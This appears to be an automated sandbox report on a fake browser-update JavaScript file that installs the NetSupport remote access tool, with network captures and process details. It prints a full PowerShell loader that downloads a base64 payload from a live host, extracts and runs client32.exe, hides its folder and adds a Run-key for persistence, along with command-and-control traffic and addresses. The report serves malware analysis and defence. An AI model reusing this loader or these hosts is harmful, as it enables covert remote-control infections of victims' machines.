68 65 20 41 70 61 63 68 65 20 4c 69 63 65 6e 73 65 2c 20 56 65 72 73 69 6f 6e 20 32 2e 30 20 28 74 68 65 0a 2a 20 22 4c 69 63 65 6e 73 65 22 29 3b 20 79 6f 75 20 6d 61 79 20 6e 6f 74 20 75 73 65 20 74 68 69 73 20 66 69 6c 65 20 65 78 [TRUNCATED] Data Ascii: /** Licensed to the Apache Software Foundation (ASF) under one* or more contributor license agreements. See the NOTICE file* distributed with this work for additional information* regarding copyright ownership. The ASF licenses this file* to you under the Apache License, Version 2.0 (the* "License"); you may not use this file except in compliance* with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing,* software distributed under the License is distributed on an* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY* KIND, either express or implied. See the License for the* specific language governing permissions and limitations* under the License.*/(function (globals, fixer) { typeof exports === 'object2' && typeof module !==
Jul 15, 2024 00:48:21.114542961 CEST	1236	IN	Data Raw: 27 75 6e 64 65 66 69 6e 65 64 27 20 3f 20 66 69 78 65 72 28 65 78 70 6f 72 74 73 29 20 3a 0a 20 20 20 20 74 79 70 65 6f 66 20 64 65 66 69 6e 65 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 20 26 26 20 64 65 66 69 6e 65 2e 61 6d 64 20 3f 20 64 65 Data Ascii: 'undefined' ? fixer(exports) : typeof define === 'function' && define.amd ? define(['exports'], fixer) : (globals = typeof globalsThis !== 'undefined' ? globalsThis : globals \|\| self, fixer(globals.echarts = {}));}(this, (function (ex
Jul 15, 2024 00:48:21.114579916 CEST	1236	IN	Data Raw: 50 72 6f 74 6f 74 79 70 65 4f 66 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 7b 20 5f 5f 70 72 6f 74 6f 5f 5f 3a 20 5b 5d 20 7d 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 20 26 26 20 66 75 6e 63 74 69 6f 6e 20 28 64 2c 20 62 29 20 Data Ascii: PrototypeOf \|\| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) \|\| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStat
Jul 15, 2024 00:48:21.114614964 CEST	672	IN	Data Raw: 6d 53 75 70 70 6f 72 74 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 74 72 61 6e 73 66 6f 72 6d 53 75 70 70 6f 72 74 65 64 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e Data Ascii: mSupported = false; this.transformSupported = false; this.transform3dSupported = false; this.hasglobalsWindow = typeof window !== 'undefined'; } return Env; }()); var env = new Env();
Jul 15, 2024 00:48:21.114653111 CEST	1236	IN	Data Raw: 20 20 7d 0a 20 20 20 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 64 65 74 65 63 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2c 20 65 6e 76 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 65 74 65 63 74 Data Ascii: } else { detect(navigator.userAgent, env); } function detect(ua, env) { var browser = env.browser; var firefox = ua.match(/Firefox\/([\d.]+)/); var ie = ua.match(/MSIE\s([\d.]+)/) \|\| ua
Jul 15, 2024 00:48:21.114689112 CEST	1236	IN	Data Raw: 64 53 75 70 70 6f 72 74 65 64 20 3d 20 28 28 62 72 6f 77 73 65 72 2e 69 65 20 26 26 20 27 74 72 61 6e 73 69 74 69 6f 6e 27 20 69 6e 20 73 74 79 6c 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 7c 7c 20 62 72 6f 77 73 65 72 2e 65 64 67 65 0a 20 20 Data Ascii: dSupported = ((browser.ie && 'transition' in style) \|\| browser.edge \|\| (('WebKitCSSMatrix' in window) && ('m11' in new WebKitCSSMatrix())) \|\| 'MozPerspective' in style) && !('OTransition' in styl
Jul 15, 2024 00:48:21.114725113 CEST	1236	IN	Data Raw: 69 6e 65 64 27 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 26 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 63 61 6e 76 61 73 27 29 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 6d 65 61 73 Data Ascii: ined' && document.createElement('canvas'); }, measureText: (function () { var _ctx; var _cachedFont; return function (text, font) { if (!_ctx) {
Jul 15, 2024 00:48:21.114759922 CEST	1236	IN	Data Raw: 6c 6c 20 3f 20 66 6f 6e 74 53 69 7a 65 20 3a 20 28 70 72 65 43 61 6c 63 57 69 64 74 68 20 2a 20 66 6f 6e 74 53 69 7a 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ll ? fontSize : (preCalcWidth * fontSize); } } return { width: width }; } }; })(), loadImage: function (src, onload, onerror) {
Jul 15, 2024 00:48:21.114794970 CEST	328	IN	Data Raw: 61 72 20 6f 62 6a 54 6f 53 74 72 69 6e 67 20 3d 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 0a 20 20 20 20 76 61 72 20 61 72 72 61 79 50 72 6f 74 6f 20 3d 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 3b 0a Data Ascii: ar objToString = Object.prototype.toString; var arrayProto = Array.prototype; var nativeForEach = arrayProto.forEach; var nativeFilter = arrayProto.filter; var nativeSlice = arrayProto.slice; var nativeMap = arrayProto.map;
Jul 15, 2024 00:48:21.114833117 CEST	1236	IN	Data Raw: 74 69 6f 6e 20 3f 20 63 74 6f 72 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 20 3a 20 6e 75 6c 6c 3b 0a 20 20 20 20 76 61 72 20 70 72 6f 74 6f 4b 65 79 20 3d 20 27 5f 5f 70 72 6f 74 6f 5f 5f 27 3b 0a 20 20 20 20 76 61 72 20 69 64 53 74 Data Ascii: tion ? ctorFunction.prototype : null; var protoKey = '__proto__'; var idStart = 0x0907; function guid() { return idStart++; } function logError() { var args = []; for (var _i = 0; _i < arguments.leng
Jul 15, 2024 00:48:21.119601965 CEST	1236	IN	Data Raw: 73 6f 75 72 63 65 2e 6c 65 6e 67 74 68 3b 20 69 20 3c 20 6c 65 6e 3b 20 69 2b 2b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 72 65 73 75 6c 74 5b 69 5d 20 3d 20 73 6f 75 72 63 65 5b 69 5d 3b 0a 20 20 20 20 Data Ascii: source.length; i < len; i++) { result[i] = source[i]; } } } } else if (!BUILTIN_OBJECT[typeStr] && !isPrimitive(source) && !isDom(source)) { re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	57614	23.227.193.59	80	1436	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 15, 2024 00:48:32.313369036 CEST	74	OUT	GET /data.php?6961 HTTP/1.1 Host: dfwreds.com Connection: Keep-Alive
Jul 15, 2024 00:48:32.840677977 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Jul 2024 22:48:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 31 66 35 36 0d 0a 55 45 73 44 42 42 51 41 41 41 41 49 41 42 78 45 56 31 65 64 6e 69 58 6d 4a 6d 77 41 41 4a 43 56 41 51 41 4d 41 41 41 41 59 32 78 70 5a 57 35 30 4d 7a 49 75 5a 58 68 6c 37 48 77 48 65 46 54 46 31 2f 66 5a 39 45 34 4b 41 53 4c 36 55 76 36 67 69 42 4a 42 6b 56 63 49 68 45 41 49 6e 59 54 30 73 70 75 79 32 56 52 71 67 43 53 41 45 41 56 52 2f 30 43 6f 41 6f 49 67 69 68 44 53 4e 79 47 46 6b 74 43 4c 51 42 41 51 61 55 6f 58 70 4b 54 33 6e 67 33 6e 4f 7a 4f 37 6d 77 49 4a 55 6f 4c 79 66 67 2f 6e 37 75 2f 65 6d 54 74 6e 7a 73 79 39 76 7a 4e 6e 5a 6d 35 34 6d 4f 43 78 43 6c 51 42 51 49 32 41 43 4c 41 48 35 47 49 46 66 79 39 2f 45 67 79 36 5a 42 70 41 75 76 61 5a 62 6e 73 45 34 38 39 30 63 77 6f 4b 6e 74 55 31 5a 4f 62 30 77 4a 6e 69 71 56 30 6c 34 6d 6e 54 70 6f 64 32 39 66 58 76 4f 6a 4e 73 57 74 66 67 61 56 31 48 32 44 6c 32 6e 54 72 64 7a 39 39 63 58 31 2b 6e 68 38 4a 47 33 53 6e 4e 51 77 63 54 67 74 63 6f 73 65 74 43 37 5a 72 39 64 49 30 61 55 4c 46 6d 48 37 38 58 74 43 61 54 35 34 2b 73 [TRUNCATED] Data Ascii: 1f56UEsDBBQAAAAIABxEV1edniXmJmwAAJCVAQAMAAAAY2xpZW50MzIuZXhl7HwHeFTF1/fZ9E4KASL6Uv6giBJBkVcIhEAInYT0spuy2VRqgCSAEAVR/0CoAoIgihDSNyGFktCLQBAQaUoXpKT3ng3nOzO7mwIJUoLyfg/n7u/emTtnzsy9vzNnZm54mOCxClQBQI2ACLAH5GIFfy9/Egy6ZBpAuvaZbnsE4890cwoKntU1ZOb0wJniqV0l4mnTpod29fXvOjNsWtfgaV1H2Dl2nTrdz99cX1+nh8JG3SnNQwcTgtcosetC7Zr9dI0aULFmH78XtCaT54+sOcCvZYprOb86BEuCWL3W+jjRBmC8QA22BU9waOy3ikBXoAOgQplwAb/X1ZBODF1B/vSGwMvVQV6uvMIhAX9Zg4NUqNjqK67IdBuuDRcug8neYJboS1VnCBoL5gtglRlddwigPWuW9N6EZ5C/0TcP9Z8TyswDNDwLqD1mwsd8pp84VAzgIpDf4HoajTqKt2FlPnPWTAkonoGeBWbSVaslPf8p00lxCsifjdv7VPCo3nB4La+EOEfmR9q0j5xgONE+eyPlPY8YwukmQuWL8ke4oCl0tYLI4qUag7uHdVk6UjDyy0Oh7ZaPgcHdQ/Xl2bDyBZbdw/RH5ukM7hquMXKBZdfZtUs1SE1vcNfZWkqd5Tb7Jp6wyWZNo6ke2ay0yRa0222TH6a+R4eNV5dJMImKtKhoYrYXIk5EUzXKnMae7bs+TVR6Lc8i92nMpxIOES52ld9b27WZSkPsZEPZlqDVjaAJsKyJXjSl2xPmNLlX3VURU1qQJ7WrAt62jhOspwT7Twv96EOrT8grrMdYj//oQ3O/KVPATGAzJzh04szpEv9Zs8BUZZR/6ITpfmFT/EeLp/lN8R8G4MvuOYaKZ4aGhYyZFjB9GHwtoDvW06dOJZXxwdNIaZyNg62N0iSJg+MIx2tD6gd0/7hgzPIsg7ghJtsCWNSyGSSaNm [TRUNCATED]
Jul 15, 2024 00:48:32.840708971 CEST	1236	IN	Data Raw: 79 4d 46 2f 69 72 39 34 6c 6e 2f 44 44 66 4d 51 50 31 2f 34 76 79 66 79 71 55 47 64 72 77 58 6f 68 53 39 67 55 38 42 69 75 68 72 51 64 51 74 64 44 59 47 76 44 52 5a 30 6f 75 73 35 75 6a 61 76 70 38 56 6e 78 32 79 36 7a 33 79 45 4d 67 75 59 6e 55 Data Ascii: yMF/ir94ln/DDfMQP1/4vyfyqUGdrwXohS9gU8BiuhrQdQtdDYGvDRZ0ous5ujavp8Vnx2y6z3yEMguYnU50ZeV96apO19ECuV0fupL7wBy6silkleBRewI+Z8W2cD9HlU/Bj91n7f/Ryv3iluxTw1oqAC3d79TK/V6t3P+klfujW7nv1sr9oFbuz2nl/uJW7m9o5X5sK/f30P2TH1I5kX1XsUYIoXEUq9WY7zSW+qfemF9gR+9
Jul 15, 2024 00:48:32.840732098 CEST	1236	IN	Data Raw: 48 61 7a 65 73 42 6b 32 62 74 77 49 4d 64 39 46 51 75 4b 50 71 79 46 70 79 7a 65 77 64 65 74 57 53 45 78 4d 68 4e 54 55 56 4e 69 31 39 79 44 73 32 37 63 50 54 6d 31 66 43 4b 64 6a 76 34 52 6a 63 63 76 67 64 4e 77 53 75 4a 44 77 42 5a 78 50 57 41 Data Ascii: HazesBk2btwIMd9FQuKPqyFpyzewdetWSExMhNTUVNi19yDs27cPTm1fCKdjv4RjccvgdNwSuJDwBZxPWAxX01bA6eRv4FLGRpAd/AKuHIiByqwfoDrre7h2NB5OH9oFv59Ig2snU+HqqQy4fSwO8GI03D+XCYcPH4ZTp07BzfPH4PrFLDh37hxcvXoV7lw+AXmXDsH9q6cg92oW3Ll+EXJuXYL7f16G+7evQe5f16H49nkouX8
Jul 15, 2024 00:48:32.840770960 CEST	1236	IN	Data Raw: 7a 6c 7a 54 54 4b 45 66 47 4d 59 30 32 52 45 63 48 44 59 70 4c 44 68 59 6b 61 4d 6a 6d 4f 74 7a 64 54 50 46 70 55 4e 33 30 67 2f 6a 69 75 77 49 5a 69 65 65 5a 55 64 77 4f 4e 66 76 62 4b 62 41 57 35 33 4e 4f 6e 59 50 44 71 4d 53 65 51 31 6c 42 58 Data Ascii: zlzTTKEfGMY02REcHDYpLDhYkaMjmOtzdTPFpUN30g/jiuwIZieeZUdwONfvbKbAW53NOnYPDqMSeQ1lBXbi1Ui/d2eFmPEqPbuHhYVyYw1NsKqN9nt3biY9u08KCw0NVSI0dHaYvC5ZCZ3N9Hu/8847nTsrq/X8T2h4+OzWZJ5Cv7dS3unZI3Te7PD54Q2YHS4/WDZ8CdNvKu/0WjB/3vzZ88Pns1/E7PkREXRhKTrmzyf75qT
Jul 15, 2024 00:48:32.840794086 CEST	1236	IN	Data Raw: 38 6c 75 51 34 4e 55 56 6b 76 79 36 51 71 4a 50 54 30 67 4e 36 67 61 37 67 37 76 43 67 57 6e 64 49 47 57 53 4f 52 77 4d 36 51 6b 5a 49 62 51 76 6e 64 77 58 6a 6b 78 71 44 38 65 6d 76 67 45 6e 51 74 37 69 2b 39 42 54 6f 64 33 67 31 37 6c 76 77 39 Data Ascii: 8luQ4NUVkvy6QqJPT0gN6ga7g7vCgWndIGWSORwM6QkZIbQvndwXjkxqD8emvgEnQt7i+9BTod3g17lvw9HQd+Hk7Hdp7/kBnJr7Hpyjexfmvwt/fP4u34senj8ILi/oA1e+6ANnF1nAb4s+ht++GgS7F4yHzAVjaL/pDD8sCoIfv54KXy2cD9FfB8EWSkcvnQpxkdPg4Co/iFsWAtLV4ZCydi5ciBwBl1aMhsur7eDwV45weJk
Jul 15, 2024 00:48:32.840817928 CEST	1236	IN	Data Raw: 41 49 6d 66 52 47 54 74 4f 6e 56 4a 57 6f 2b 6d 35 61 49 41 45 53 6e 35 2b 66 6c 52 67 68 51 6d 54 31 32 79 75 36 4e 53 54 50 2f 48 62 32 71 41 58 30 41 41 6c 51 59 6f 52 44 4a 74 61 56 6f 50 5a 58 6e 33 74 77 4b 6e 42 6a 77 69 73 35 62 75 37 74 Data Ascii: AImfRGTtOnVJWo+m5aIAESn5+flRghQmT12yu6NSTP/Hb2qAX0AAlQYoRDJtaVoPZXn3twKnBjwis5bu7tFRfnTs/j8BUwPYb1qAPEGn0KVpPeWlPah8+tSp06k0hDCNSkNCqHx3D4V06t5leuhMkmkzFUKJOUt39+Sl3enXbUbozEekoZzkP6w8fCb7zQifyY6ZAXNZec88xDxWHj4nXCHy2uHzvz2wu2eVfEospfJQXkDnefP
Jul 15, 2024 00:48:32.840838909 CEST	1236	IN	Data Raw: 73 47 45 34 64 4f 6a 51 78 2f 41 71 38 6d 39 50 2f 43 39 79 65 51 2f 6a 6e 4e 55 78 31 6b 33 6e 4e 5a 34 43 4d 59 52 6b 49 61 58 64 64 66 45 2f 4a 71 70 6a 6a 4c 52 56 65 75 76 6f 36 41 79 68 4e 5a 2b 49 78 66 33 57 2b 48 38 52 76 4f 62 2f 31 55 Data Ascii: sGE4dOjQx/Aq8m9P/C9yeQ/jnNUx1k3nNZ4CMYRkIaXddfE/JqpjjLRVeuvo6AyhNZ+Ixf3W+H8RvOb/1UKihw5Khbr4fic1dzMDlUEvm/8n4VXlP8ZFE2OcW0asm/YL2NalOKytsKVBaa0X6mejrcfRmm0p8Z8o59+N+B/4b/L/vBg4aCDN/x4K/jXk77WtQLExmt5flIMmbndsAgctfuVz6TPb1MM4ZtdRDaPsgGxrYJSjJk9
Jul 15, 2024 00:48:32.840864897 CEST	1236	IN	Data Raw: 33 57 53 4b 2f 55 6d 65 42 69 33 79 7a 38 44 69 51 47 74 34 64 66 69 33 51 47 63 33 45 58 37 35 6b 76 67 2f 46 52 65 4a 2b 63 55 56 6d 4a 75 58 39 33 7a 38 4d 33 35 6f 37 62 56 6a 78 73 64 34 39 36 38 37 4e 4f 63 58 79 4f 32 30 41 6a 61 2f 35 42 Data Ascii: 3WSK/UmeBi3yz8DiQGt4dfi3QGc3EX75kvg/FReJ+cUVmJuX93z8M35o7bVjxsd49687NOcXyO20Aja/5BWX4V93bmPq7KF8fZkgfH7+80triH9Rm/P/Ingp/Lv3wUR3Lf6u2gS0T4uid38qvpH/HFoD5BBHhWXVeOvyWUymPVcMzekJIoOWbdD9eNpHRDtp4sXDyRTbyznHT4Oiynq8cEiKsR4GGEd7zARh623EOqlg2uzW+d8
Jul 15, 2024 00:48:32.840886116 CEST	1236	IN	Data Raw: 76 42 55 53 6a 32 58 56 39 61 33 77 54 33 47 41 31 6f 32 78 44 67 49 38 73 65 30 7a 34 76 67 68 46 68 61 58 79 50 32 6d 41 66 6c 59 52 76 64 76 58 54 69 4a 55 72 38 75 47 4f 38 6b 34 47 33 46 30 54 72 2f 79 6f 6c 64 35 46 74 31 50 4d 59 30 72 63 Data Ascii: vBUSj2XV9a3wT3GA1o2xDgI8se0z4vghFhaXyP2mAflYRvdvXTiJUr8uGO8k4G3F0Tr/yold5Ft1PMY0rcN4LKE4fnzLPP73oSSvx/nfOXcon2MKCgobfIeli6ufwL/P0/P/JPyb/FsOHYquHl7E/wfyv2d4GrYNRAZ83X1WuhJLKd4Xl5RgUVFRI//XLhL/vYl/4s/LqKEey+8MG4S5D+5hWVUt6cvHuxzEI60lCopKcd9iF25
Jul 15, 2024 00:48:32.840913057 CEST	556	IN	Data Raw: 70 63 51 42 72 51 4d 4c 38 68 35 67 57 73 67 48 6d 4f 69 69 7a 73 64 2b 71 2b 31 53 57 54 7a 46 67 4e 51 51 63 38 79 35 53 37 46 45 39 68 42 4c 4f 66 64 4b 73 42 67 67 34 2f 45 67 49 38 4b 61 39 70 72 41 75 64 30 7a 66 7a 68 78 58 73 72 6a 6a 46 Data Ascii: pcQBrQML8h5gWsgHmOiizsd+q+1SWTzFgNQQc8y5S7FE9hBLOfdKsBgg4/EgI8Ka9prAud0zfzhxXsrjjFKXpSvrGf++pKPJ40vTttJ9jYl/48f4Z9yPHTsWmR8o8az8/lO+08C/qB+meOnxsdgm8Kb53AHwQuoaPnYrWDymGFBOnNbQ+izn9mXcOeMDTLCntbi4I967chqrmZ8oeG9AeQX3l+ObQjDeWZVz/7dtexlx3zu+aQa
Jul 15, 2024 00:48:32.845818996 CEST	1236	IN	Data Raw: 71 32 76 72 35 65 55 56 46 59 31 36 50 48 59 58 34 70 35 50 68 32 43 53 75 2b 59 7a 74 5a 38 71 6f 58 55 64 37 53 30 79 61 46 34 76 4c 73 72 42 71 74 71 36 35 6a 35 51 57 73 72 6a 55 4e 36 44 57 37 69 44 39 68 4f 37 35 67 78 73 78 6a 38 44 53 31 Data Ascii: q2vr5eUVFY16PHYX4p5Ph2CSu+YztZ8qoXUd7S0yaF4vLsrBqtq65j5QWsrjUN6DW7iD9hO75gxsxj8DS1dTX4+tkZA/aWGKj3GzNnb5kQ8QzDtruHUm/nV1dYeYmJiIGPfjxo3ja4AngXH3b2P4cGvi3+fl8k/vuaq6BisrK7GSuKXpAHOun8Edwb3w6sEonq+qrJKXc1SQfjUS/XgmZgEmuKnz72zP0w8Wg35LXsH7UFHZPL4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	57615	94.158.245.103	443	5404	C:\Users\user\AppData\Roaming\KYED2\client32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 15, 2024 00:48:39.362010002 CEST	220	OUT	POST http://94.158.245.103/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.245.103Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	57616	104.26.1.231	80	5404	C:\Users\user\AppData\Roaming\KYED2\client32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 15, 2024 00:48:39.532854080 CEST	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Jul 15, 2024 00:48:40.993097067 CEST	945	IN	HTTP/1.1 200 OK Date: Sun, 14 Jul 2024 22:48:40 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8a350fc19b490fa4-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDSQRTCSCC=ABMJGIKBEDCPPFGJIHMHAMFM; path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding cf-apo-via: origin,host Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MmOqleJpBbCsT354kI%2BfDU%2BB1A8607RIj158bvDQ%2BD6%2FLrU8GuAzn4CbtxLyi%2F90k%2B1U7U7JEntn2cgxkn%2Fo%2F3KV5bdzkAP1g5gU5AnIuwiyLQpLSyPdtH8MaWF1MlvtIVYTz4umr%2By6WGYY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare Data Raw: 31 30 0d 0a 34 30 2e 37 33 35 37 2c 2d 37 34 2e 31 37 32 34 0d 0a 30 0d 0a 0d 0a Data Ascii: 1040.7357,-74.17240
Jul 15, 2024 00:48:40.993694067 CEST	945	IN	HTTP/1.1 200 OK Date: Sun, 14 Jul 2024 22:48:40 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8a350fc19b490fa4-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDSQRTCSCC=ABMJGIKBEDCPPFGJIHMHAMFM; path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding cf-apo-via: origin,host Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MmOqleJpBbCsT354kI%2BfDU%2BB1A8607RIj158bvDQ%2BD6%2FLrU8GuAzn4CbtxLyi%2F90k%2B1U7U7JEntn2cgxkn%2Fo%2F3KV5bdzkAP1g5gU5AnIuwiyLQpLSyPdtH8MaWF1MlvtIVYTz4umr%2By6WGYY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare Data Raw: 31 30 0d 0a 34 30 2e 37 33 35 37 2c 2d 37 34 2e 31 37 32 34 0d 0a 30 0d 0a 0d 0a Data Ascii: 1040.7357,-74.17240
Jul 15, 2024 00:48:40.994915009 CEST	945	IN	HTTP/1.1 200 OK Date: Sun, 14 Jul 2024 22:48:40 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8a350fc19b490fa4-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDSQRTCSCC=ABMJGIKBEDCPPFGJIHMHAMFM; path=/ Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Accept-Encoding cf-apo-via: origin,host Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MmOqleJpBbCsT354kI%2BfDU%2BB1A8607RIj158bvDQ%2BD6%2FLrU8GuAzn4CbtxLyi%2F90k%2B1U7U7JEntn2cgxkn%2Fo%2F3KV5bdzkAP1g5gU5AnIuwiyLQpLSyPdtH8MaWF1MlvtIVYTz4umr%2By6WGYY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare Data Raw: 31 30 0d 0a 34 30 2e 37 33 35 37 2c 2d 37 34 2e 31 37 32 34 0d 0a 30 0d 0a 0d 0a Data Ascii: 1040.7357,-74.17240

Target ID:	0
Start time:	18:48:10
Start date:	14/07/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Update 124.0.6367.158.js"
Imagebase:	0x7ff785c50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:48:29
Start date:	14/07/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $QJXNJMM='http://dfwreds.com/data.php?6961';$HTWCGH=(New-Object System.Net.WebClient).DownloadString($QJXNJMM);$GENO=[System.Convert]::FromBase64String($HTWCGH);$asd = Get-Random -Minimum -10 -Maximum 37; $YZUQFNVBNAC=[System.Environment]::GetFolderPath('ApplicationData')+'\KYED'+$asd;if (!(Test-Path $YZUQFNVBNAC -PathType Container)) { New-Item -Path $YZUQFNVBNAC -ItemType Directory };$p=Join-Path $YZUQFNVBNAC 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$GENO);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$YZUQFNVBNAC)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $YZUQFNVBNAC 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $YZUQFNVBNAC -Force; $fd.attributes='Hidden';$s=$YZUQFNVBNAC+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='KOTLG';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2340113804.00000167C1A18000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2340113804.00000167C18E6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2340113804.00000167C18C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2340113804.00000167C18F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000003.00000002.2340113804.00000167C1621000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:48:29
Start date:	14/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:48:38
Start date:	14/07/2024
Path:	C:\Users\user\AppData\Roaming\KYED2\client32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\KYED2\client32.exe"
Imagebase:	0x760000
File size:	103'824 bytes
MD5 hash:	C4F1B50E3111D29774F7525039FF7086
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
